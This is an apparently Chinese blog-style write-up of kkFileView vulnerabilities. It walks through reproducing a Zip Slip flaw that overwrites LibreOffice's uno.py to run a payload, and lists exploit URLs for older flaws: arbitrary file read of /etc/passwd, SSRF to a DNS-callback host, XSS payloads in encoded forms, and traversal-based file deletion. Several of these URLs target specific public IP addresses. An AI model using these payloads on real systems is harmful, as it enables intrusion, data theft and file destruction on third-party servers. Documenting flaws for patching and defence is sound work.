kkFileView是一个基于spring boot搭建的文档在线预览项目。
kkFileView的上传功能在处理压缩包时,没有对获取的文件名进行校验,导致出现了Zip Slip漏洞。
影响版本:v4.2.1v4.2.0,v4.3.0v4.40
漏洞复现
先下载存在漏洞的版本https://github.com/kekingcn/kkFileView/tree/v4.2.1
导入idea,构建运行,maven要换源或者挂代理,不然太慢
构造恶意zip包:
1 | import zipfile |
上传zip包并预览,由于在cn.keking.service.CompressFileReader
中解压后写文件时没有对文件名进行校验,直接拼接到了解压目录上导致目录穿越:
此时zip包解压出的uno.py会追加到原本系统uno.py的末尾
在预览odt文件时会转为pdf,此时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件执行解压出的payload
上传一个后缀为odt的文件,预览执行paylaod
kkFileView历史漏洞
任意文件读取漏洞
影响版本
kkFileview <=3.6.0
exp
http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd
SSRF漏洞
影响版本
kkFileview =v4.1.0
exp
http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn
XSS漏洞
漏洞影响
kkFileview =v4.1.0
exp
第一个:
1 | http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20οnerrοr=alert(0)%3E |
第二个:
1 | http://www.baidu.com/test.txt"><img src=111 οnerrοr=alert(1)> |
编码base64:
aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg==
url编码:aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D
第三个:
1 | <svg/οnlοad=alert(1)> |
编码base64:
PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+
url编码:
PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B
http://119.91.146.127:8012/picturesPreview?urls=¤tUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B
任意文件上传导致存储xss
漏洞影响
kkFileView=4.1.0
exp
访问上传的文件
http://139.9.101.60:8012/demo/2.html
任意文件删除
漏洞影响
kkFileview= v4.0.0
exp
/deleteFile?fileName=demo%2F..\xss.pdf
get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件)